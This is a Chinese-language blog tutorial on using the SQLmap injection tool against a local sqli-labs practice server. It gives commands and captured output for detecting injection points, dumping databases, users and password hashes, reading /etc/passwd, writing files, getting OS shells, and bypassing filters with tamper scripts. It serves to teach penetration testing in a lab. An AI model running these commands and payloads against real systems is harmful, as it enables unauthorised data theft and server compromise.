

'SQLmap的使用'

📅 2019-12-07 | 📅 2020-04-06 | 📁 [SQL注入](#) | 👁 16

📄 4.7k | ⌚ 4 分钟

说实话本不打算写SQLmap的使用的，网上教程太多了，用烂了，都去用工具，一到面试连个原理都不知道，仅供参考，多懂原理，少用工具，切记。

简介

SQLmap是一个自动化的SQL注入工具，主要功能是扫描、发现并利用给定URL的SQL注入漏洞，内置了很多绕过插件，支持MySQL、Oracle、postgreSQL、MSSQL(SQL Server)、ACCESS、DB2、SQLite、Firebird、sybase和SAP MaxDB数据库。SQLmap的强大功能包括数据库指纹识别、数据库枚举、数据提取、访问目标、文件系统、并在获取完全的操作权限时实行任意命令。

安装SQLmap

我们不用网上那种将SQLmap放到python的安装目录下。

<https://github.com/sqlmapproject/sqlmap>

直接解压，创建一个名为alies_cmd.bat的别名脚本，右键编辑内容如下

此电脑 > 新加卷 (G:) > tools

名称	修改日期	类型
sqlmap	2019/11/16 12:56	文件夹
alies_cmd.bat	2019/11/25 17:28	Windows 批处理...
sqlmap-master.zip	2019/11/16 12:55	ZIP 压缩文件

alies_cmd.bat - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

```
@echo off
doskey sqlmap=python G:\tools\sqlmap\sqlmap.py $*
doskey clear=cls
doskey burp=java -Xbootclasspath/p:G:\工具包\burp2.0及2.1\burp\bur
```

修改注册表，计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Command Processor

创建一个字符串名为AutoRun，值为刚才创建的bat脚本

计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Command Processor

名称	类型	数据
(默认)	REG_SZ	(数值未设置)
AutoRun	REG_SZ	G:\tools\alies_cmd.bat

这样我们就能直接cmd调用sqlmap了

Microsoft Windows [版本 10.0.18362.476]

```
C:\Users\35040>sqlmap
```

Diagram illustrating a network packet capture. The packet is labeled 'V...' and the source is 'http://sqlmap.org'. The packet details show a source IP of 1.3.11.61 and a destination IP of 10.10.10.10. The packet is labeled 'H' and the source is 'http://sqlmap.org'.

```
Usage: sqlmap.py [options]
```

```
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r,
--dependencies). Use -h for basic and -hh for advanced help
```

```
Press Enter to continue...
```

基本使用

1, 判断是否存在注入点

```
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1
```

```
C:\Users\35040>sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1
```

id参数大于两个时，记得把url用双引号引起来

```
sqlmap -u "http://192.168.239.29/sqli-labs/Less-1/?id=1&uid=1"
```

```
C:\WINDOWS\system32\cmd.exe
[01:08:06] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[01:08:06] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[01:08:06] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[01:08:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:08:10] [WARNING] reflective value(s) found and filtering out
[01:08:10] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Your")
[01:08:10] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[01:08:10] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[01:08:11] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[01:08:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[01:08:11] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[01:08:11] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[01:08:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:08:11] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[01:08:11] [INFO] testing 'MySQL inline queries'
[01:08:11] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[01:08:11] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[01:08:11] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[01:08:11] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[01:08:11] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[01:08:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[01:08:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[01:08:11] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:08:21] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[01:08:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:08:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:08:21] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[01:08:21] [INFO] target URL appears to have 3 columns in query
[01:08:21] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
```

报出的代码中，需要关注的点

第一处的意思为检测到数据库可能是MySQL，是否需要跳过检测其他数据库；第二处的意思是在“level1，risk1”的情况下，是否使用MySQL对应的所有payload进行检测；第三处的意思为参数ID存在漏洞，是否继续检测其他参数。

```
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=' AND 6965=6965 AND 'HQJN'='HQJN

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: id=' AND (SELECT 2932 FROM(SELECT COUNT(*),CONCAT(0x717a787071,(SELECT (ELT(2932=1
x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'cRBF'='cRBF

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=' AND (SELECT 6231 FROM (SELECT(SLEEP(5)))JmEP) AND 'Ffos'='Ffos

  Type: UNION query
  Title: Generic UNION query (NULL) - 3 columns
  Payload: id='5921' UNION ALL SELECT NULL,NULL,CONCAT(0x717a787071,0x5645416770484a43754e4168
96d474f5159647854,0x717a717071)-- vCEE
---
```

检测结果，id处GET型注入，报错注入，延时注入，联合查询。

2，判断文本中的请求是否存在注入

MySQL可以从一个文本文件中获取HTTP请求，这样可以不设置其他参数(如cookie、POST数据等)，txt文件中的内容为Web数据包

1.txt - 记事本
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)
GET /sqli-labs/Less-1/?id=1 HTTP/1.1
Host: 192.168.239.29
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SL_G_WPT_TO=zh-CN; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1
x-forwarded-for: 8.8.8.8 "
Connection: close

-p为指定其中一个参数

sqlmap -u http://192.168.100.94/DVWA/vulnerabilities/sqli/?id=1&submit=submit#

-p id

-r一般在存在cookie注入时使用，注意*的优先级最高，测试时记得把其他*去掉

```
C:\Users\35040>sqlmap -r C:\Users\35040\Desktop\1.txt
```

3, 查询数据

(1)查询所有库名

sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -dbs

```
available databases [5]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
```

(2)查询库中的所有表名

sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 -D security - -tables

```
Database: security
[4 tables]
+-----+
| emails |
| referers |
| uagents |
| users |
+-----+
```

(3)查询表中的字段

sqlmap -u <http://192.168.239.29/sqli-labs/Less-1/?id=1> -D security -T users - -
columns

```
Database: security
Table: users
[3 columns]
```

Column	Type
id	int(3)
password	varchar(20)
username	varchar(20)

(4)查询字段内容

sqlmap -u <http://192.168.239.29/sqli-labs/Less-1/?id=1> -D security -T users -C
username,password - -dump

```
Database: security
Table: users
[13 entries]
```

username	password
admin	admin
admin1	admin1
admin2	admin2
admin3	admin3
admin4	admin4
secure	crappy
Dumb	Dumb
dhakkan	dumbo
superman	genious
Angelina	I-kill-you
batman	mob!le
Dummy	p@ssword
stupid	stupidity

(5)脱裤

sqlmap -u <http://192.168.239.29/sqli-labs/Less-1/?id=1> - -dump-all

(6)获取数据库的所有用户

sqlmap -u <http://192.168.239.29/sqli-labs/Less-1/?id=1> - -users

```
database management system users [3]:  
[*] 'root'@'127.0.0.1'  
[*] 'root'@'::1'  
[*] 'root'@'localhost'
```

(7)获取数据库用户的密码

sqlmap -u <http://192.168.239.29/sqli-labs/Less-1/?id=1> - -passwords

如果当前用户有读取包含用户密码的权限，SQLMAP会先列出用户，再列出hash，并尝试破解

密码使用MySQL5加密，可在www.cmd5.com 中自行解密。

```
[12:42:49] [INFO] used SQL query returns 3 entries  
[12:42:49] [INFO] resumed: 'root'  
[12:42:49] [INFO] retrieved: '*A9A2B30038D8C579CF7207F593A8FFDCB0626413'  
[12:42:49] [INFO] resumed: 'root'  
[12:42:49] [INFO] retrieved: '*A9A2B30038D8C579CF7207F593A8FFDCB0626413'  
[12:42:49] [INFO] resumed: 'root'  
[12:42:49] [INFO] retrieved: '*A9A2B30038D8C579CF7207F593A8FFDCB0626413'  
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
```

(8)获取当前网站数据库名称

sqlmap -u <http://192.168.239.29/sqli-labs/Less-1/?id=1> - -current-db

```
back-end DBMS: MySQL >= 5.0  
[12:46:46] [INFO] fetching current database  
[12:46:47] [INFO] retrieved: 'security'  
current database: 'security'
```

(9)获取当前网站数据库用户名称

```
back-end DBMS: MySQL >= 5.0  
[12:48:30] [INFO] fetching current user  
[12:48:30] [INFO] retrieved: 'root@localhost'  
current user: 'root@localhost'
```

进阶命令

1, - -level 5: 探测等级

默认认为1，等级越高包含的payload越多，在xml/payload.xml中可看到，也可根据相应的格式添加自己的payload，其中5级包含payload最多，会自动破解出cookie、XFF等头部注


入。但相对运行速度也比较慢。

这个参数会影响测试的注入点，GET和POST数据都会进行测试，HTTP cookie在level为2时就会测试，HTTP User-Agent/Referer头在level为3时进行测试。在不不确定哪个payload或参数为注入点时，为了保证全面性，建议使用高的level值。

2, - -is-dba: 查询当前用户是否为管理员权限

```
sqlmap -u http://192.168.239.29/sqli-labs/Less-1/?id=1 - -is-dba
```

```
back-end DBMS: MySQL >= 5.0
[13:14:23] [INFO] testing if current user is DBA
[13:14:23] [INFO] fetching current user
[13:14:23] [INFO] resumed: 'root@localhost'
current user is DBA: True
```



3, - -roles: 列出数据库管理员角色

如果当前用户有权限读取包含所有用户的表，输入该命令会列举出每个用户的角色。


```
database management system users roles:
[*] 'root'@'127.0.0.1' (administrator) [28]:
role: ALTER
role: ALTER ROUTINE
role: CREATE
role: CREATE ROUTINE
role: CREATE TABLESPACE
role: CREATE TEMPORARY TABLES
role: CREATE USER
role: CREATE VIEW
role: DELETE
role: DROP
role: EVENT
role: EXECUTE
role: FILE
role: INDEX
role: INSERT
role: LOCK TABLES
role: PROCESS
role: REFERENCES
role: RELOAD
role: REPLICATION CLIENT
role: REPLICATION SLAVE
role: SELECT
role: SHOW DATABASES
role: SHOW VIEW
role: SHUTDOWN
role: SUPER
role: TRIGGER
role: UPDATE
```

4, - -referer: HTTP Referer头

当- -level参数设定为3或以上时，会尝试对referer进行注入。可以使用此命令来欺骗，如-
-referer <http://www.baidu.com>

5, - -sql-shell

返回一个能够执行SQL语句的shell

6, - -os-cmd, - -os-shell

- -os-cmd 执行net user命令

- -so-shell 获取一个交互式的shell执行操作系统命令

↑原理(重点): 通过mysql的into outfile或into dumpfile功能，向网站目录写入php代码，用来执行系统命令。(需要数据库管理员权限，也就是- -is-dba的值为True)

7, - -file-read: 从数据库服务器中读取文件

sqlmap -u <http://192.168.239.29/sqli-labs/Less-1/?id=1> - -file-read "/etc/passwd"

```
[13:26:28] [INFO] fetching file: '/etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin
postfix:x:89:89:/:/var/spool/postfix:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/sbi
```

8, - -file-write - -file-dest: 上传本地文件到数据库服务器中

写入write本地文件路径的文件, dest到目标的绝对路径, 尽量把路径引起来

sqlmap -u <http://192.168.239.29/sqli-labs/Less-1/?id=1> - -file-write
"C:\Users\35040\Desktop\1.txt" - -file-dest "/tmp/1.txt"

```
do you want confirmation that the local file 'C:/Users/35040/Desktop/1.txt' has been successfully written on the back-end DBMS file sys
tem ('/tmp/1.txt')? [Y/n] Y
[13:35:49] [INFO] retrieved: '587'
[13:35:49] [INFO] the remote file '/tmp/1.txt' is larger (587 B) than the local file 'C:/Users/35040/Desktop/1.txt' (585B)
[13:35:49] [INFO] fetched data logged to text files under 'C:\Users\35040\AppData\Local\sqlmap\output\192.168.239.29'
```

```
Last login: Sat Jul 27 21:18:37 2019 from 192.168.239.1
[root@localhost ~]# cd /
[root@localhost /]# cd tmp
[root@localhost tmp]# ls
ks-script-iWPhWr
systemd-private-b98b0548282243af82f6705309c9f741-httpd.service-7W7rFb
systemd-private-b98b0548282243af82f6705309c9f741-mariadb.service-2BoC2m
yum.log
[root@localhost tmp]# cd systemd-private-b98b0548282243af82f6705309c9f741-mariadb.service-2BoC2m/
[root@localhost systemd-private-b98b0548282243af82f6705309c9f741-mariadb.service-2BoC2m]# cd tmp
[root@localhost tmp]# ls
1.txt
[root@localhost tmp]# cat 1.txt
GET /sqli-labs/Less-1/?id=1 HTTP/1.1
Host: 192.168.239.29
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Saf
ari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exc
hange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: SL_G_WPT_T0=zh-CN; SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1
x-forwarded-for: 8.8.8.8' "
Connection: close
```

9, 其他常用命令



- -prefix '%df%27' 指定前缀

- -suffix '- - l' 指定后缀

sqlmap - -purge 清除所有缓存

- -technique B 注入测试时，指定布尔盲注

- -threads 5 多线程检索

- -identify-waf - -batch 检测waf

直接连接到数据库

-d "mysql://admin:admin@192.168.1.1:3306/testdb" - -dbs

指定cookie注入

- -cookie "security=low;PHPSESSID=28albj29q9588v7utjoo4"

自带脚本tamper

格式：sqlmap -u http://url - -tamper 模块名

速查表：

1, apostrophemask.py

作用：将引号替换为UTF-8，用于过滤单引号

2, base64encode.py

作用：替换为 base64编码

3, multipleaspace.py

作用：围绕 SQL 关键字添加多个空格

4, space2plus.py

作用：用+号替换空格

5, nonrecurisverepacement.py

作用：作为双重查询语句，用双重语句替代预定义SQL关键字(适用于非常弱的自定义过滤器，例如将SELECT替换为空)

6, space2randomblank.py

作用：将空格替换为其他有效字符

7, unionalltounion.py

作用：将 union all select替换为union select

8, securesphere.py

↑作用：追加特制字符串

使用前: 1 and 1=1

使用后: 1 and 1=1 and '0having=0having'

9, space2hash.py

作用: 将空格替换为#号, 并添加一个随机字符串和换行符

10, space2mssqlblank.py(mssql)

作用: 将空格替换为其他空符号

11, space2mssqlhash.py

作用: 将空格替换为#号, 并添加一个换行符

12, between.py

作用: 用not between 0 and 替换大于号 (>) ,用between and替换等号 (=)

13, percentage.py

作用: ASP 允许在每个字符前面添加一个%号

14, sp_password.py

作用: 从DBMS日志的自动模糊处理的有效载荷中追加sp_password

15, charencode.py

作用: 对给定的payload全部字符使用url编码 (不处理已经编码的字符串)

16, randomcase.py

作用: 随机大小写

17, charunicodeencode.py

作用: 字符串Unicode编码

18, space2comment.py

作用: 将空格替换为/**/

19, equaltolike.py

作用: 将等号替换为like

20, greatest.py

作用: 绕过对>号的过滤, 用greatest替换>号

21, ifnull2ifisnull.py

作用: 绕过对ifnull的过滤, 替换类似ifnull(a,b)为if(isnull(a),b,a)

22, modsecurityversioned.py

作用: 过滤空格, 使用mysql内联注释的方式进行注入

23, space2mysqlblank.py

↑作用: 将空格替换为其他空白符号 (mysql)

24, modsecurityzeroversioned.py

作用：使用mysql内联注释的方式进行注入(/*! 00000*/) (mysql5.0)

25, space2mysqldash.py

作用：将空格替换为- ,并添加一个换行符

26, bluecoat.py

作用：sql语句之后用有效的随机空白符替换空格符，随后用like替换=号

27, versionedkeywords.py

作用：注释绕过

28, halfversionedmorekeywords.py

作用：当数据库为mysql时绕过防火墙，再每个关键字之前添加mysql版本注释

29, space2morehash.py

作用：将空格替换为#号，并添加一个随机字符串和换行符

30, apostrophencode.py

作用：用非法双字节Unicode字符替换单引号

31, appendnullbyte.py

作用：在有效负荷的结束为止加载零字节字符编码

32, chardoubleencode.py

作用：对给定的payload全部字符使用双重url编码（不处理已经编码的字符）

33, unmagicquotes.py

作用：用一个多字节组合（%bf%27）和末尾通用注释一起替换空格

34, randomcomments.py

作用：用/**/分割sql关键字

希望大家在学习如何使用自带的tamper的同时，能够掌握tamper的编写规则，才能在各种实战环境中应对自如。

[# 工具](#) [# SQL注入](#)

[◀ '其他类型数据库注入'](#)

['oracle数据库注入' ▶](#)

© 2020  素念 |  167k |  2:32

由 [Hexo](#) 强力驱动 v3.9.0 | 主题 – [NexT.Gemini](#) v7.7.1



 709 |  1959

